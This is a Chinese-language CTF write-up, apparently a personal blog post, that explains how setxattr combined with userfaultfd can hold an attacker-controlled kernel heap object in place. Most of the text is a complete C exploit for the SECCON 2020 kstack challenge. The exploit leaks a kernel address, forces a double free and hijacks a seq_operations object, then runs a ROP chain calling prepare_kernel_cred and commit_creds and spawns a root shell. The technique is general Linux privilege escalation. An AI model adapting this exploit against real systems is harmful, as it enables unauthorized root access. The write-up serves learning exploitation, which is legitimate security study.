利用userfaultfd + setxattr堆占位
利用userfaultfd + setxattr堆占位
很久之前便看到过这个技术的名字，但是由于自己的摆烂，一直没有管。今天终于找到时间好好看一下这个技术的利用方式。利用userfaultfd + setxattr算是内核里一种比较通用的利用技术，在实际场景中通常和堆喷射技术结合起来。但是在某些CTF的题目中，我们已经有了UAF，故并不需要喷射大量的结构体，而是需要在特定的时间对某些object进行写入与占用。笔看到其他师傅的文章中把它称作为堆占位。在之前的博客中我就写过关于userfaultfd利用方式的介绍，故本文主要关注对setxattr的利用。
setxattr系统调用
setxattr是一个很特殊的系统调用，它在内核空间可以实现几乎任意大小的object分配。
他的调用链如下：
SYS_setxattr()
path_setxattr()
setxattr()
抛开这个系统调用的正常功能，我们看一下他对我们有用的关键源码：
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) {
//,..
kvfree(kvalue);
return error;
}
我们可以看到首先是kvmalloc(size, GFP_KERNEL)分配出内存空间，接着通过copy_from_user(kvalue, value, size)向空间中拷贝数据，最后调用kvfree(kvalue);将其分配的空间释放。因为这里的value和size都是我们可控的，所以我们几乎就可以实现分配任意大小的object并向其中写入数据。但是在最后会将我们分配的object释放掉，那也就意味着我们前功尽弃了。所以我们得想办法不让他释放掉。那我们可以考虑搭配userfaultfd来使得拷贝过程被卡住，也就不会进行下一步的释放。我们可以想到一下场景：
我们通过mmap分配两个连续内存页，在第二个内存页上使用userfaultfd进行监视，并在第一个内存页尾写入我们想要的数据，那么此时我们调用setxattr，当copy_from_user拷贝到第二个内存页时就会卡住，这个object也自然不会被释放掉，从而达成我们的目的。
从SECCON 2020 kstack来学习userfaultfd + setxattr堆占位的手法
exp：对着arttnba3师傅的exp改了改
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <poll.h>
#include <string.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#define PAGE_SIZE 0x1000
int fd;
size_t seq_fd;
size_t seq_fds[0x100];
size_t kernel_offset;
void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}
void push(char* data)
{
if(ioctl(fd, 0x57AC0001, data) < 0)
ErrExit("push error");
}
void pop(char* data)
{
if(ioctl(fd, 0x57AC0002, data) < 0)
ErrExit("pop error");
}
void get_shell()
{
if (getuid() == 0)
{
system("/bin/sh");
}
else
{
puts("[-] get shell error");
exit(1);
}
}
void register_userfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if(ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API error");
ur.range.start = (unsigned long)fault_page; // the area we want to monitor
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
ErrExit("[-] ioctl-UFFDIO_REGISTER error");
// open a thread, receive the wrong signal, and the handle it
int s = pthread_create(&thr, NULL, handler, (void*)uffd);
if(s!=0)
ErrExit("[-] pthread-create error");
}
void *userfault_leak_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
puts("[+] leak handler created");
pop(&kernel_offset);
kernel_offset-= 0xffffffff81c37bc0;
printf("[+] kernel offset: 0x%lx\n", kernel_offset);
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
}
void *userfault_double_free_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
puts("[+] double free handler created");
pop(page);
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] double free handler done");
}
size_t pop_rdi_ret = 0xffffffff81034505;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
size_t prepare_kernel_cred = 0xffffffff81069e00;
size_t commit_creds = 0xffffffff81069c10;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;
void *userfault_hijack_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
puts("[+] hijack handler created");
puts("[+] tigger..");
for(int i=0; i<100; i++)
close(seq_fds[i]);
pop_rdi_ret += kernel_offset;
mov_rdi_rax_pop_rbp_ret += kernel_offset;
prepare_kernel_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred;"
"mov rbx, mov_rdi_rax_pop_rbp_ret;"
"mov r11, 0x66666666;"
"mov r10, commit_creds;"
"mov r9, swapgs_restore_regs_and_return_to_usermode;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
printf("[+] uid: %d gid: %d\n", getuid(), getgid());
get_shell();
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] hijack handler done");
}
int main()
{
size_t size[0x10];
char* leak_buf;
char* double_free_buf;
char* hijack_buf;
int shm_id;
char* shm_addr;
fd = open("/proc/stack",O_RDONLY);
if(fd < 0)
ErrExit("[-] open kstack error");
for(int i=0; i<100; i++)
if ((seq_fds[i] = open("/proc/self/stat", O_RDONLY)) < 0)
ErrExit("open stat error");
leak_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(leak_buf, userfault_leak_handler);
shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
if (shm_id < 0)
ErrExit("shmget error");
shm_addr = shmat(shm_id, NULL, 0);
if (shm_addr < 0)
ErrExit("shmat!");
if(shmdt(shm_addr) < 0)
ErrExit("shmdt error");
push(leak_buf);
double_free_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(double_free_buf, userfault_double_free_handler);
push("fxc");
pop(double_free_buf);
hijack_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(hijack_buf+PAGE_SIZE, userfault_hijack_handler);
*(size_t*)(hijack_buf + PAGE_SIZE - 8) = 0xffffffff814d51c0 + kernel_offset;
if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0)
ErrExit("open stat error");
setxattr("/exp", "fxc", hijack_buf + PAGE_SIZE - 8, 32, 0);
}
本文来自博客园，作者：{狒猩橙}，转载请注明原文链接：https://www.cnblogs.com/pwnfeifei/p/16650533.html
